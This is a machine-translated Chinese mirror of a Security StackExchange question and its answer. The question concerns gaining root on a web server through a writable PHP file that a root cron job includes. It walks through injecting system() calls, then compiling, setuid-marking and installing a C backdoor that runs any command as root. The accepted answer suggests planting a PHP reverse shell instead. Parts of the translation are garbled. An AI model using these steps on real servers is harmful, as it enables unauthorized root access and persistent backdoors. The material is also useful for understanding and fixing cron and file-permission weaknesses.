首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >利用cron作业作为根用户运行

利用cron作业作为根用户运行
EN

Security用户
提问于 2019-08-08 15:45:19
回答 1查看 2.3K关注 0票数 1

在web服务器上,每15分钟有一个cron作业作为root运行:

php cli-script.php

(cli的意思是"Command Line i面“,因此只能从命令行访问)

直接修改cli-script.php脚本是不可能的。但是它包含另一个PHP脚本db.php,它可以作为www用户直接修改:

cli-script.php:

代码语言:javascript
复制
include "db.php";
...

我的开发技巧:

  1. 修改db.php --添加system()命令,因为db.php从cron作业的脚本继承root's特权,但可以编辑为www-user (db.phpWritable、Readable和E可作为www用户编辑)。通过system()运行所有初始命令
  2. 创建二进制包装器backdoor,以便更容易地进一步利用。我们需要将UID设置为零(root),以便能够使用bash/sh (利用后未使用SUID)这样的shell(另一种方法是使用例如perl/python脚本)

db.php

代码语言:javascript
复制
...
system("...");
...

后门。c:

代码语言:javascript
复制
#include 
#include 
#include 
#include 

int main(int argc, char *argv[]) {
    if (argc == 2) {
        setuid(0); // otherwise /bin/sh would use real UID
        system(argv[1]);
    } else {
        printf("1 argument expected");
    }
    return 0;
}

详细步骤:

  1. 将C-代码编译为www-user:gcc backdoor.c -o backdoor
  2. 将粘贴位+更改文件所有者作为rootchmod +s backdoor && chown root backdoor
  3. 将二进制文件以rootmv backdoor /bin/backdoor的形式放入D38目录
  4. 用法(执行为www-user):backdoor "whoami" => root

问题:是否有更简单的方法来利用这种漏洞,而我只是让一切复杂化了?

EN

回答 1

Security用户

回答已采纳

发布于 2019-08-08 15:51:28

有没有更简单的方法来利用这样的漏洞?

简单地将一个PHP反向外壳集成到db.php文件中就更简单了;一旦它运行并连接到您的侦听器,您就可以以root的形式获得类似shell的访问权限。

票数 4
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/214957

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档